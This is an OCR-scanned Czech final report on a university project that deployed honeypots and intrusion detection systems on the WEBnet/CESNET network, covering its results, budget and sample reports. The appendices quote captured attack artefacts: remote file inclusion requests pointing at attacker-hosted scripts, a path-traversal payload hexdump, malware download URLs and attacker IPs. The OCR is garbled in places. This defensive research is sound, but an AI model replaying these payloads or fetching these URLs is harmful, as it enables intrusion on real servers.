7 vysledku projektu jsme také sestavili prezentaci pro podzimni seminéf resitela CESNETu.

2.11 Provozni instalace

7Z prostiedku grantu jsme nakoupili server pro provoz virtudlnich strojui, na kterych jsme provo-
zovali vySe zminéné aplikace. Diky poklesu cen a zvySeni slev mezi ndavrhem a realizaci projektu
je zakoupeny server vykonnégjsi nez puvodné zamysleny. Cilova konfigurace serveru:

e 2x PE2950 IIT Quad Core Xeon E5450 3.0GHz,2x6MB,1333FSB
e 16GB (4x4GB Dual Rank DIMMSs) 667MHz FBD
e 4x 300GB SAS 15k 3.5” HD Hot Plug

Tato konfigurace pro nami provozované systémy vice nez postacuje. Na cilovém stroji jsme
vytvorili 4 virtudlni servery néastrojem Xen, jeden pro kazdy IDS: LaBrea, Nepenthes, Hihat,
zbylé IDS jsme provozovali na produkénich serverech (apache_rfi, spamsearch.pl). Z provoznich a
bezpecnostnich duvodu jsme pro provoz centralniho IDS Snort docasné vyhradili zvlastni server
ze strojového parku CIV.

2.12 Zakoupené knihy

7Z prostiedkt grantu jsme poridili nékolik knih, které se tykaji feSené problematiky.

e Craig Schiller , Jim Binkley: Botnets: The Killer Web App
ISBN: 978-1597491358

e Greg Conti: Security Data Visualization
ISBN: 978-1-59327-143-5

e Ben Fry: Visualizing Data
ISBN: 978-0-59651-455-6

e David Maynor, K.K. Mookhey, Jacopo Cervini, Fairuzan Roslan, Kevin Beaver: Metasploit
Toolkit for penetration testing, exploit development and vulnerability research
ISBN: 978-1-59749-074-0

e N. Provos, T. Holz: Virtual Honeypots: From Botnet Tracking to Intrusion Detection
ISBN: 978-0321336323

e Bruce Schneier: Schneier on Security
ISBN: 978-0470395356

e Bruce Schneier: Applied Cryptography: Protocols, Algorithms, and Source Code in C
ISBN: 978-0471117094

e Kevin Mitnick, William L. Simon : Uméni klamu
ISBN: 83-7361-210-6
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5 VYSTUPY A VYUZITELNOST

3 Dosazené cile

Cilem tohoto projektu bylo vyzkouseni a zhodnoceni nékolika IDS a produkéni nasazeni vybranych
2-3 systému. Dale jsme chtéli rozsifit vlastni znalosti v oblasti IDS a IT bezpectnosti obecné.
V neposledni fadé jsme také chtéli polozit zaklad dalsimu rozvoji IDS v siti WEBnet formou
vybudovéni tlozist zachytdvanych dat.

V rdmci projektu jsme vyzkouseli 5 ruznych open source systému (LaBrea, Nepenthes, Hihat,
Snort, PeHunter), dva jsme vytvofili sami (apache_rfi, spamsearch.pl) a vyzkouseli i jeden doplitko-
vy (pOf). Z téchto systému jsme do produkéniho provozu pievedli 4 systémy (LaBrea, Nepenthes,
apache_rfi, spamsearch.pl), systém Snort budeme déle provozovat jako doplikovy systém, PeHun-
ter a pOf ukoncime. V piipadé projektu Hihat bychom chtéli ve vyzkumu pokracovat a to zejména
v oblasti J2EE.

Zuicastnili jsme se konference BlackHat 2009, kterd vyrazné ptispéla ke vzdélani v bezpec¢nostni
oblasti, také pfinesla nékteré zajimavé kontakty na odborniky v zahranici.

Pro systémy LaBrea a Nepenthes jsme se rozhodli kromé reportingu vypracovat i databazové
dlozisté a prozatim jednoduchy webovy frontend pro snazsi analyzu zachycenych dat. V nékterych
piipadech (Snort, Hihat) byla data jiz v databdzové formé od tvircu zkoumanych néstroju a
v ostatnich systémech jsme data vyhodnocovali ruéné (apache_rfi, J2EE Hihat, spamsearch.pl,
PeHunter, Honeytrap). V nékterém z pifstich projektit bychom takto shromazdovand data chteéli
déle rozsifovat a pripadné pro né vytvoiit néjakou formu vizualizace [23].

Celkem jsme zachytili 147 bezpecnostnich incidentu pochéazejicich ze sité CESNET?2, z ¢ehoz
117 bylo ze sité WEBnet. Nejefektivnéjsim se ukazal systém Spamsearch.pl.

Z naseho pohledu ptispél projekt ke zvyseni zabezpeceni sité WEBnet resp. CESNET2. Zamy-
§lend finan¢ni rozvaha byla s rezervami dodrzena. Cile projektu byly podle naseho nézoru splnény.

4 Zduvodnéni zmén v projektu

Z puvodné navrhovanych 12-ti mésicu, jsme z ¢asovych davodu prodlouzili projekt o dalsch 6
mésicu.

Zakoupeny hardware (1 server), ktery jsme z prostfedki grantu pofidili, ma vyrazné vyssi
vykon oproti puvodné navrhovanému, a to zejména diky poklesu cen v dobé mezi ndvrhem a
realizaci. Dle soucasného vytizeni tohoto stroje ndm jeho vykon postaci pro dalsi projekt nebo
pripadné rozsifovani soucasné IDS infrastruktury.

Na rozdil od ptvodniho zdméru, rozmistit sondy IDS Snort na ruzné klicové systémy WEBnetu,
jsme se rozhodli umistit nakonec jen jednu sondu na primarni linku. Tim jsme mohli sledovat a
vyhodnocovat vétsinu provozu celé sité, toto zapojeni je dle naseho nazoru vyhodnéjsi.

Misto konference Ares 2008 jsme navstivili konferenci BlackHat 20009.

Zpocétku zamyslené poskytovani ndmi sbiranych dat tfetim strandm (Dshield.org, Honey-
net.cz) jsme nakonec neimplementovali. Riznorodost systému a jejich vystupnich dat by zname-
nala znaé¢né usili pfi jejich ¢isténi a obfuskaci tak, aby nedoslo k vyzrazovani potencidlné citlivych
informaci.

Systémy pro analyzu webovych ttoku PHP Hop a GHH jsme nahradili systémem Hihat a
doplnili je o vlastni systém apache_rfi.

Puvodné planované naklady na odmény feSitelim jsme pouzili k zaplaceni vlozného na konfe-
renci, pro které jsme naplanovali nizsi nez potfebnou ¢astku.

5 Vystupy a vyuzitelnost

Primédrnim vystupem z projektu jsou 4 produkéné nasazené IDS (LaBrea, Nepenthes, apache_rfi,
spamsearch.pl), které budeme v siti WEBnet provozovat i po ukonceni projektu. Déle jeden
doplitkovy (Snort) a jeden experimentdlni (Hihat) se kterymi bychom ddle radi pracovali at uz
samostatné nebo v ramci mozného navazujiciho projektu. Vybudovana infrastruktura pro provoz
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virtudlnich serverti ndm ted i v budoucnosti bude umoziiovat bezpetné testovat a provozovat i
jiné honeypoty nebo pohodlné rozsifovat stdvajici infrastrukturu.

Celkem 87 napadeni (unikétnich stroju) jsme fesili na lokdln{ irovni v siti WEBnet, ¢fmz jsme
piimo prispéli k jejimu zabezpeceni. V prubéhu projektu jsme téz oznamili 9 bezpecnostnich inci-
dentt1 do ¢lenskych siti CESNET?2, pouze u 5-ti z nich jsme obdrzeli reakci mistnich bezpe¢nostnich
pracovniki. Jeden z takto ohlasenych incidenti vedl k odhaleni nedostate¢ného zabezpeceni du-
lezitého portédlu jednoho ze ¢lenu sdruzeni CESNET.

Dalsim vystupem jsou ukazkova data, které vyse popisované systémy produkuji a néstroje,
které pii préci s nimi pouzivame. Popis publikovanych dat a skriptt je v ptiloze B. Tyto informace
mohou byt pouzity pro vyrobu stejnych nebo podobnych IDS systému v ostatnich sitich sdruzeni
CESNET. Protoze maji vysledky potencidlné citlivy charakter, jsou publikovand data umisténa
na CD prilozeném k zavérecné zpravé. Pro ostatni ¢leny sdruzeni CESNET je budeme poskytovat
na vyzadani a doporuceni bezpec¢nostni skupiny CESNET-CERTS.

Vystupem ucasti na konferenci byla publikace a prezentace na konferenci EurOpen.cz na jedno
z témat konference [8].

Z vysledku projektu jsme také sestavili prezentaci pro podzimni seminai fesitelt CESNETu.

Ziskavanda data a vypracované systémy pro jejich vyhodnocovani budeme déle pouzivat pii
feseni bezpecénostnich incidenta v siti WEBnet/CESNET?2.

Zkusenosti ziskané v prubéhu projektu byly zpracovany formou této zédvéreéné zpravy namisto
puvodné planované technické zpravy CESNETu. Rozsah a obsah piipadné technické zpravy by
byl shodny s obsahem kapitoly 2 a zvefejnénymi materialy z prilohy B.

V nékterém z pristich projektu bychom se radi zabyvali provozem honeypotu LaBrea a Ho-
neytrap s podporou protokolu IPv6. Druhym moznym smérem by byla vizualizace zachytavanych
dat [23].

6 Prinosy projektu

Cilem a zéroven piinosem projektu bylo nasazeni nékolika IDS systému v siti WEBnet. Tento
cil jsme splnili a bezpecnostni skupina WEBnetu tak ziskala nastroje, které pomahaji pii za-
bezpetovani nasi sité. Pro ostatni ¢leny mohou byt pifinosem publikovana data a nastroje na
jejichz zékladé si mohou postavit stejnd nebo podobng Feseni. Cast dat muze poslouzit i pro
vyukové nebo vyzkumné tucely.

Dalsim ptfinosem bylo ziskani ¢asu a prostoru pro vzdéldvani v dané problematice. Nékteré
informaéni zdroje, které jsme nalezli nebo které jsme pouzivali v prubéhu projektu jsou uvedené
v kap. 8. Dle naseho nazoru jsme diky tomuto projektu citelné zvysili své znalosti v oblasti IDS,
analyzy malware a o taxonomii ttoku pouzivanych v sou¢asném Internetu.

Jednim z dalsich piinosu bylo vytvoreni infrastruktury virtudlnich serveru, tu muzeme nadéle
pohodIné roz§itovat a vyuzivat pro dalsi vyzkum nebo pfipadné navazujici projekty.

7 Tiskova zprava

Na Zapadoceské univerzité v Plzni byl dokonéen projekt rozvoje IDS systému. V rdmci jeho plnéni
byly v siti WEBnet uvedeny do provozu 4 IDS systémy, které pomahaji detekovat napadené stroje
uvniti siti WEBnet a CESNET2, a tim zvysovat jejich celkovou bezpecnost.

8 Vykaz hospodareni s prostredky

Na projektu se podilely 2 subjekty, a to Fond Rozvoje CESNETu a Zipadoceska univerzita v Plzni.
7Z prostiedkt Fondu rozvoje byl hrazen nédkup serveru pro provoz nasazovanych aplikaci. Z pros-
tredkit ZCU byly hrazeny néklady na studijni literaturu a naklady spojené s tcasti na konferenci.

Vytétovani provedlo ekonomické oddéleni ZCU v Plzni dle platnych predpisi. Doklady o né-
kupech a platbéch jsou ulozeny taktéz na ekonomickém oddéleni ZCU.
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Vsechny polozky jsou uvedeny bez DPH.

Material Cena | Hrazeno Kategorie
Server pro provoz IDS 112 000,- | CESNET dl.hm.m.
Literatura 8 698,- ZCU knihy, u¢. pomucky
Zahraniéni cestovné 4 580,- ZCU cestovné
Tuzemské cestovné 719,- ZCU cestovné
Vlozné na konferenci 26 809,- ZCU ostatni sluzby
Ubytovani, kapesné, stravné | 20 723,- ZCU cestovné
Odmeény fesitelum 0,- ZCU odmény
Celkem CESNET 112 000,- -

Celkem ZCU 61 529.- -

Celkem 173 529,- -

Celkem bylo ¢erpano 173 529,- K¢, z toho z Fondu rozvoje CESNETu 112 000,- K¢ a ze strany
Zépadoceské univerzity 61 529,- K¢, ¢imz spoluticast ZCU éni 35 %.

Rozdil skute¢nych ndkladu (173 tis,-) oproti planovanym (241 tis.) je tvofen prevazné poklesem
ceny za server a nizkou cenou za cestovné po Evropé.
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A Kategorie pro bayesovsky klasifikator dbacl

Nézev kategorie Pocet vzorku
spam 2277
genericprobe 610
maildrop 558
pbot 523
botexec 201
massmailer 122
userfinger 100
safemode 75
filetool 70
rb7 69
obf (obfuscated code) 67
frames 63
c99 62
html 58
dynamicprobes 57
defacingtool 45
tools 34
shellbot 34
staticprobes 29
rss 26
iframe 25
exec 21
genericprobewithmaildrop 20
404 15
genericprobewithiframeinjection 14
bin 13
misc 12
perl 9
botexecplus 9
webdrop 6
error 4
phpbot 3
empty 3
Celkem 5234
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B Popis publikovanych dat

Protoze maji vysledky potencidlné citlivy charakter, jsou publikovand data umisténa na CD prilozeném k zadvérecné zpraveé.
Pro ostatni ¢leny sdruzeni CESNET je budeme poskytovat na vyzadani a doporuéeni bezpeénostni skupiny CESNET-
CERTS.

Pro ucely oponentury jsme je dotasné vystavili na URL http://home.zcu.cz/~bodik/myspherel-data.tgz (200MB).

-- data
|-- apache_rfi
| |-- dbacll2 - datove soubory natrenovanych bayesovskych filtru
| |-- downloads - roztridene vzorky php weboveho malware
| |-- sample-rfi.log.20081116010101 - ukazka vystupnich dat skriptu
| ¢-- sample.report - ukazka denniho reportu
|-- hihat
| |-- scripts/hihat/webhpj2ee/* - ukazka honeypotu
| |-- analyza-j2ee.ods - vypis utoku na j2ee hihat
| |-- bruteforces-passwords.txt - zkousena hesla
| |-- bruteforces-usernames.txt - zkousena prihlasovaci jmena
| |-- fexshell - java malware droppper
| -- jshell - java web shell
|-- labrea
| |-- labrea.log.sample - ukazka logy LaBrea
| ¢-- report.sample - ukazka reportu
|-- nepe
| |-- binaries - zachyceny malware
|
|
|
|
|
|
¢

‘-- log - ukazka eventlogu

-- pOf
|-- graphdata.csv - data grafu detekovanych operacnich systemu
¢-- graphdata.ots - data grafu detekovanych operacnich systemu
-- pehunter
¢-- 00-clamav - vystup testu zachycenych vzorku PE souboru
—-- snort
¢-- p2p-200901120030.1log - ukazka statistik p2p siti pomoci detektoru Snort
—-- scripts

|-- apache_rfi

| |-- apache_rfi.ignore - filtry logu

| |-- apache_rfi.sh - hlavni vyhledavaci skript
| |-- apache_rfi.txt - readme

| |-- apache_rfi2csv.sh - prevod logu na data pro grafy
| |-- apache_rfi_download.pl - download vkladaneho malware
| |-- apache_rfi_report.pl - reporting
| |-- crontab

| |-- cz.test - testovaci data pro pbotsnif3.pl
| |-- datamine.txt - readme

| |-~ download_malware.pl - pomocny nastroj
| |-- learn_dbacl.sh - trenovani bayesovskych filtru
| |-- pbotmap3.sh - vykresleni struktury IRC pomoci graphviz
| |-- pbotsnif3.pl - ziskani dat z"IRC
| -- urlview - pomocny nastroj
|-- hihat

| |-- apache2csv.sh - prevod apache logu do csv pro vyhodnoceni j2ee hihatu
| | == clean_hihat_spiders.sh - udrzba databaze
| |-- getbruteforces.sh - detekce hadani hesel
| |-- getmanager.sh - detekce zneuziti tomcat z"hihatu
| |-~ getrfi.sh - detekce RFI z"hihatu
| |-- getsql.sh - detekce SQL injection z"hihatu (nefunguje)
| |-- hihat.txt - hihat

| |-- hihat_report2.pl - reporting
| |-- mk_hihat - hruby postup vyroby honeypotu z~libovolne aplikace

|-~ labrea

| |-- crontab

| |-- datamine.txt - ukaza dotazu pro datamining

| |-- install.txt

| |-- labrea.ignore - filtr logu labrea

| |-- labrea.init - rc skript

| |-- labrea.loadup - datova pumpa (spoustena z“rc)

| |-- labrea.logrotate - konfigurace pro logrotate

| |-- labrea.munin - Munin plugin zobrazujici aktualne uzite pasmo

| |-~ labrea.sql - predloha databaze

| |-- labrea_report.pl - reporting

| -- network-vlanXXX - ukazka nastaveni site v“pripade tagovane Vlany na ktere ma honeypot fungovat
|-- nepenthes

| |-- aliases - adresy nahazovanych ifacu

| |-- datamine.txt - sql dotazy pro datamining

| |-- install.txt

| |-- nepe.init - rc skript

| |-- nepe.loadup - datova pumpa

| |-- nepe.logrotate - nastaveni pro logrotate

| |-~ nepe.sql - predloha databaze

|

|
I
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
I
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
I
I
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
I
|
|
|
| |-~ nepe.txt

22



B POPIS PUBLIKOVANYCH DAT

|- nepe_report.pl

|-- nepe_report2.pl - reporting

|-- network-aliases - nastaveni site

-- network-vlanYY - nastaveni site pro tagovanou vlan

|-- pOf.init - rc skirpt

|-- pOf.logrotate - nastaveni pro logrotate

-- pOfgraph.sh - generovani CVS z“dat pro tvorbu grafu

snort

|-- oinkupdate.sh - update standardnich pravidel pro snort

|-- rotate_snort.sh - rotovani databaze

|-- searchp2p.pl - skript pro generovani statistik o”P2P provozu
|-- snortip.php - pomocny nastroj

¢-- urlcode.pl - pomocny nastroj

spamsearch

-- spamsearch2.pl - skript pro vyhledani spammeru z“databaze Calligare NetFlow Inspector
ipint.pl - pomocny nastroj

makeregs.pl - pomocny nastroj

ownnet - seznam hlidanych siti

ownnet.fullmask - seznam hlidanych siti s”plnou maskou
ownnet.ranges - seznam rozsahu hlidanych siti

ownnet.rangesint - seznam rozsahu hlidanych siti

¢

log-grep - modul pro nepenthes pro generovani event logu

|-- Makefile.am

|-~ Makefile.in

|-- log-grep.conf.dist

|-- log-grep.cpp

|-- log-grep.hpp

labrea-patch-curretnt-bw-bytes.diff - patch pro upravu hlaseni zabraneho prenosoveho pasma
labrea-patch-dumbnet-headers.diff - patch pro spravnou kompilaci s“novou verzi knihovny
libnet-whois-iana-perl_0.23-1_all.deb - perlovsky modul pro dotazovani databazi whois
nepenthes-log-grep.patch - patch pro integraci modulu log-grep
pehunter-sessions.patch - patch pro pehunter na omezeni poctu a delky sledovanych sezeni
web - webove rozhrani pro databaze labrea, nepenthes a hihat

|-~ build_table.php

|-- build_table_html.php

|-- db.inc.php

|-- graph_hihat_attackers.php

|-~ graph_hihat_modules.php

|-- graph_labrea_attackers_count.php

|-- graph_labrea_bw.php

|-- graph_nepe_attackers_count.php

|-~ graph_nepe_dialogues.php

|-- graph_nepe_events.php

|-- graph_port_activity_heatmap.php

|-- index.html

|-- jpgraph -> jpgraph-2.3.4

|-- jpgraph-2.3.4

|-- jquery-1.3.1.min.js

|-- jscalendar -> jscalendar-1.0

|-- jscalendar-1.0

|-- menu.html

|-~ nepe_graphs.php

|-- nqt

|-- ownnet.rangesint

|-- stats_hihat.php

|-- stats_host.php

|-- stats_labrea.php

|-~ stats_nepe.php

-- stats_port_activity.php
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C Ukazky generovanych reporti a webovych rozhrani

C.1 labrea_report.pl

DEBUG: query whois for 216.191.75.193
DEBUG: query whois for 24.80.177.41
DEBUG: query whois for 131.193.39.207
DEBUG: query whois for 217.133.229.193
DEBUG: query whois for 222.133.128.205
DEBUG: query whois for 125.123.145.196
DEBUG: query whois for 24.80.194.248
DEBUG: query whois for 70.67.220.123
Total sessions: 9327

Total attackers in ownnet: 1
147.231.%xx.194 at 147.228.0.0/14: 36 times

Destination ports listing: 34 in total

445: 4566
139: 2094
3306: 654
1080: 383
5405: 266
3128: 252
8800: 252
1433: 252
623: 245
25: 228
111: 88
<zkraceno>

Attackers listing: 138 in total

213.215.208.132: 497 IT
70.70.124.224: 496 CA
213.80.23.75: 433 SE
66.151.10.1: 266 US
217.106.133.72: 2562 RU
122.116.113.218: 228 TW
131.193.39.207: 221 US
81.195.104.242: 220 RU
70.70.18.221: 207 CA
70.71.74.29: 196 CA
64.16.34.34: 183 Us
209.82.46.121: 179 CA
70.76.97.135: 177 CA
86.68.73.82: 177 FR
83.110.88.100: 1756  AE
70.78.210.128: 174 CA
24.67.14.151: 171 CA
24.79.212.162: 168 CA
83.110.255.155: 167 AE
24.77.249.93: 166 CA
<zkraceno>

. and 17 more skipped

Countries listing: 23 in total

Canada ( CA): 4774

United states ( US): 737
Russian federation ( RU): 634
China ( CN): 627

Italy ( IT): 567

Sweden ( SE): 469

United arab emirates ( AE): 351
France ( FR): 256

( ): 241

Taiwan ( TW): 228

United kingdom ( GB): 165
Poland ( PL): 141

Switzerland ( CH): 94

Czech republic ( CZ): 36
Mauritius ( MU): 27

( EU: 4

Korea ( KR): 4

Belgium ( BE): 3

Australia ( AU): 2
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ES, CNCN, JP, HKHK,

C.2 Webové rozhrani k datim LaBrey
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C.3 nepe_report2.pl

Total sessions: 14373
Total events: 60617
EV_SOCK_TCP_RX: 23151
EV_SOCK_TCP_CLOSE: 14068
EV_SOCK_TCP_ACCEPT: 12346
EV_HEXDUMP: 4113
EV_DOWNLOAD: 1734
EV_DIALOGUE_ASSIGN_AND_DONE: 1732
EV_SHELLCODE_DONE: 1732
EV_SLAMMER: 869
EV_SOCK_UDP_RX: 869
EV_SUBMISSION: 3

Total attackers in ownnet: 1
147.228.xx.161 at 147.228.0.0/14: 25064 times

Uniq submissions: 3

SUBMISSION: 5a0e0370ce40bd8aa2c25b2a2e8b347e ftp://1:1@58.77.97.100:55083/vPanele.com: 1
-rw-r--r-- 1 nepel nepel 105472 Nov 16 2008 /opt/nepe/var/binaries/5a0e0370ce40bd8aa2c25b2a2e8b347e
http://www.cyber-ta.org/releases/malware-analysis/public/SOURCES/5a0e0370ce40bd8aa2c25b2a2e8b347¢e/
5a0e0370ce40bd8aa2c25b2a2e8b347e.virus-labels

SUBMISSION: 831f4ee0a7d2d1113c80033£8d6ac372 ftp://anonymous:bin@79.41.216.217:5554/13938_up.exe: 1

-rw-r--r-- 1 nepel nepel 15872 Mar 4 2008 /opt/nepe/var/binaries/831f4ee0a7d2d1113c80033f8d6ac372
http://www.cyber-ta.org/releases/malware-analysis/public/SOURCES/831f4ee0a7d2d1113c80033f8d6ac372/
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831f4ee0a7d2d1113c80033f8d6ac372.virus-labels
http://nepenthes.mwcollect.org/analysis:norman:831f4ee0a7d2d1113c80033£8d6ac372
http://wuw.honeynet.unam.mx/en/malware.pl?hash=831f4ee0a7d2d1113c80033f8d6ac372

SUBMISSION: e7801a316bb060178914ae9dbfd0078a ftp://1:1089.136.110.154:63219/Tilesys.com: 1
-rw-r--r-- 1 nepel nepel 214016 Nov 16 2008 /opt/nepe/var/binaries/e7801a316bb060178914ae9dbfd0078a
http://wuw.cyber-ta.org/releases/malware-analysis/public/SOURCES/e7801a316bb060178914ae9dbfd0078a/
e7801a316bb060178914ae9dbfd0078a.virus-labels

Uniq hexdumps: 33

HEXDUMP: 0£f7b92f524b404314c0b6cc6c3e76215: 1

-rw-r--r-- 1 nepel nepel 613 Mar 22 19:47 /opt/nepe/var/hexdumps/0f7b92£524b404314c0b6cc6c3e76215.bin
00000000 50 4f 53 54 20 2f 75 6e 61 75 74 68 65 6e 74 69 |POST /unauthentil|
00000010 63 61 74 65 64 2f 2f 2e 2e 25 30 31 2f 2e 2e 25 |cated//..%01/..%I
00000020 30 31 2f 2e 2e 25 30 31 2f 2e 2e 25 30 31 2f 2e [01/..%01/..%01/.1
00000030 2e 25 30 31 2f 2e 2e 25 30 31 2f 2e 2e 25 30 31 |.%01/..%01/..%01|
00000040 2f 2e 2e 25 30 31 2f 2e 2e 25 30 31 2f 2e 2e 25 |/..%01/..%01/..%I|
00000050 30 31 2f 2e 2e 25 30 31 2f 2e 2e 25 30 31 2f 2e [|01/..%01/..%01/.1
00000060 2e 25 30 31 2f 2e 2e 25 30 31 2f 2e 2e 25 30 31 |.%01/..%01/..%01|
00000070 2f 2e 2e 25 30 31 2f 2e 2e 25 30 31 2f 2e 2e 25 |/..%01/..%01/..%I|
00000080 30 31 2f 2e 2e 25 30 31 2f 2e 2e 25 30 31 2f 2e [01/..%01/..%01/.1
00000090 2e 25 30 31 2f 2e 2e 25 30 31 2f 2e 2e 25 30 31 |.%01/..%01/..%01|
00000020 2f 2e 2e 25 30 31 2f 2e 2e 25 30 31 2f 2e 2e 25 |/..%01/..%01/..%I
000000b0 30 31 2f 2e 2e 25 30 31 2f 2e 2e 25 30 31 2f 2e [01/..%01/..%01/.1
000000c0 2e 25 30 31 2f 2e 2e 25 30 31 2f 2e 2e 25 30 31 |.%01/..%01/..%01|
00000040 2f 2e 2e 25 30 31 2f 2e 2e 25 30 31 2f 2e 2e 25 |/..%01/..%01/..%I|
000000e0 30 31 2f 2e 2e 25 30 31 2f 2e 2e 25 30 31 2f 2e [01/..%01/..%01/.1
000000f0 2e 25 30 31 2f 2e 2e 25 30 31 2f 2e 2e 25 30 31 |.%01/..%01/..%01|
00000100 2f 2e 2e 25 30 31 2f 2e 2e 25 30 31 2f 2e 2e 25 |/..%01/..%01/..%I
00000110 30 31 2f 2e 2e 25 30 31 2f 2e 2e 25 30 31 2f 2e [01/..%01/..%01/.1
00000120 2e 25 30 31 2f 2e 2e 25 30 31 2f 2e 2e 25 30 31 |.%01/..%01/..%01|
00000130 2f 2e 2e 25 30 31 2f 2e 2e 25 30 31 2f 2e 2e 25 |/..%01/..%01/..%I|
00000140 30 31 2f 2e 2e 25 30 31 2f 2e 2e 25 30 31 2f 2e [01/..%01/..%01/.|
00000150 2e 25 30 31 2f 2e 2e 25 30 31 2f 2e 2e 25 30 31 |.%01/..%01/..%01|
00000160 2f 2e 2e 25 30 31 2f 2e 2e 25 30 31 2f 2e 2e 25 |/..%01/..%01/..%I|
<zkraceno>
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C.4 Webové rozhrani k datitum Nepenthesu

Nepenthes attackers per day
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Nepenthes dialopues per day

C.5

Nepenthes events per day

Ovwerall

Time frame: 2008-03-20 14:25:14 - 2009-05-24 11:33:30

Last attacker at: 2009-05-24 11:35:30 (35m ago) from 147 222000 67 ([ » fzoez )
Legend: Port rise Port fall  Well-knowm port Drynamiclprivate/local port
Ovwnnet attackers for 30 days

time held ips ipd | psre |pdst |count |tot_size hosiname
2009-05-20 02:07:33 |4771 |1 2215|010 |4824 |445 202 [9152 53 Tzmez
2002-05-11 10:14:09 |122300 (14700 67 (20 2 |1977 |445 [81574 |87194 358 [l ZO.CT
200%-05-04 13:04:30 |865 |1 133 |5 1| 58676 |3140 |37635 734070 ez
2009-05-04 12:19:45 |77 it 180 |5 1188 (21 [22 588 |f 190

FOUND RFI SCRIPT IN CESNET:
http://home.zcu.cz/ russj/&usg=__i7CCEV3UlvbZLPxdUeijEQAGg5E=4h=304&w=400&sz=26&hl=cs&start=2

at 147.228.0.0/14:

Port trends

trend = count(dpst) - avgllast 72 hours)

pdstmame count  [count?2 |trendRatio

445 micresoft-ds |A0145 [T7288  |0.7778

0¢ 2224 4940|1885
2624|3232 |051Z

4dmameserver (2461 [0 2481
1054 |0 1054
963 [0 963
@02 [0 Q02
202 [0 S0z
@01 [0 201
@00 (0 Q00
o2l [0 21
227 [0 287
ezs [0 TES
223 [0 BE3
277 [0 a7
E7s [0 75
275 [0 75
270 [0 270
oEa [0 i1
285 [0 BHS

133inethios-ssn |0 3715 |0

apache_rfi report.pl

15/Nov/2008:08:52:37+0100 66.249.71.201

http://home.zcu.cz/ russj/&usg=__i7CCEV3UlvbZLPxdUeijEQAGg5E=£h=304&w=400&sz=26&hl=cs&start=2 -1
GET/"russj/index_soubory/image001. jpg&imgrefurl=http://home.zcu.cz/ russj/&usg=__i7CCEV3UlvbZLPx
dUeijEQAGg5E=4h=304&w=400&sz=26&hl=cs&start=2

/var/log/apache2/access.log

FOUND RFI ATTACKER IN CESNET:
195.113.xxx.139 http://www.samilglass.com/images/v6id.txt??? ee53eff20d7605fb719d4d6158623fa7
GET/index.php?language=http://www.samilglass.com/images/v6id.txt??? /var/log/apache2/access.log

FOUND RFI ATTACKER IN CESNET:

FOUND RFI ATTACKER IN CESNET: 195.113.xxx.139 at 195.113.0.0/16:

195.113.xxx.139 at 195.113.0.0/16:

15/Nov/2008:12:36:35+0100

195.113.xxx.139 at 195.113.0.0/16: 15/Nov/2008:12:36:35+0100
195.113.xxx.139 http://www.samilglass.com/images/v6id.txt??7? ee53eff20d7605fb719d4d6158623fa7
GET/"mach/index.php?language=http://www.samilglass.com/images/v6id.txt??? /var/log/apache2/access.log

15/Nov/2008:12:36:56+0100

195.113.xxx.139 http://www.samilglass.com/images/v6id.txt??? eeb3eff20d7605fb719d4d6158623fa7
GET/index.php?language=http://www.samilglass.com/images/v6id.txt??? /var/log/apache2/access.log

FOUND RFI ATTACKER IN CESNET:

FOUND RFI ATTACKER IN CESNET:

195.113.xxx.139 at 195.113.0.0/16: 15/Nov/2008:12:36:56+0100
195.113.xxx.139 http://www.samilglass.com/images/v6id.txt??? ee53eff20d7605fb719d4d6158623fa7
GET/"mach/index.php?language=http://www.samilglass.com/images/v6id.txt??? /var/log/apache2/access.log

195.113.xxx.139 at 195.113.0.0/16: 15/Nov/2008:12:37:17+0100
195.113.xxx.139 http://www.samilglass.com/images/v6id.txt??? ee53eff20d7605fb719d4d6158623fa7
GET/index.php?language=http://www.samilglass.com/images/v6id.txt??? /var/log/apache2/access.log
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FOUND RFI ATTACKER IN CESNET: 195.113.xxx.139 at 195.113.0.0/16: 15/Nov/2008:12:37:17+0100
195.113.xxx.139 http://www.samilglass.com/images/v6id.txt??? ee53eff20d7605fb719d4d6158623fa7
GET/"mach/index.php?language=http://www.samilglass.com/images/v6id.txt??? /var/log/apache2/access.log

Total: 15 attackers

6 in CESNET
208.83.106.201:
195.113.173.139:
195.12.53.176:
213.132.197.33:
87.202.219.72:
72.30.142.161:
189.12.248.74:
69.20.5.147:
72.55.164.104:
66.249.71.201:
85.214.17.211:
202.214.193.212:
189.6.253.19:
201.74.113.145:
202.143.139.18:

PR RPPRPRPRPEPREPODNDOWOSDD

Total: 17 included URLs
1 in CESNET
: http://www.samilglass.com/images/v6id.txt???
: http://ggdo.com/zboard/xxx/data/test.txt??
: http://rubi2.t35.com/idi.txt??
: http://ilegals.ifrance.com/url/dalnet???
: http://www.videoscazeiros.xpg.com.br/tester.txt?
: http://www.manifestotrl.org/perkosa.txt??
: http://www.geocities.com/rinaputria/idku.txt??
: http://www.valletierra.com/demo/1333tbiltX.txt??77?
: http://www.wutangcorp.de/id.txt?
: http://home.zcu.cz/ russj/&usg=__i7CCEV3UlvbZLPxdUeijEQAGg5E=&h=304&w=400&sz=26&hl=cs&start=2
: http://www.suratthsc.com/libaries/gms.txt?
: http://bengoerz.net/echo?
: http://fredfred.net/skriker/images/cnainee/bath/3004/PICT3170%20-%203172. jpg
: http://www.adequatedesign.co.uk/c?
: http://fredfred.net/skriker/images/cnainee/bath/0504/PICT2734. jpg
: http://bengoerz.net/tst.txt??
: http://www.mundotibia.com/images/c.txt?

B PR RRPRPRRPRPRERRODNDNNDOWOO®
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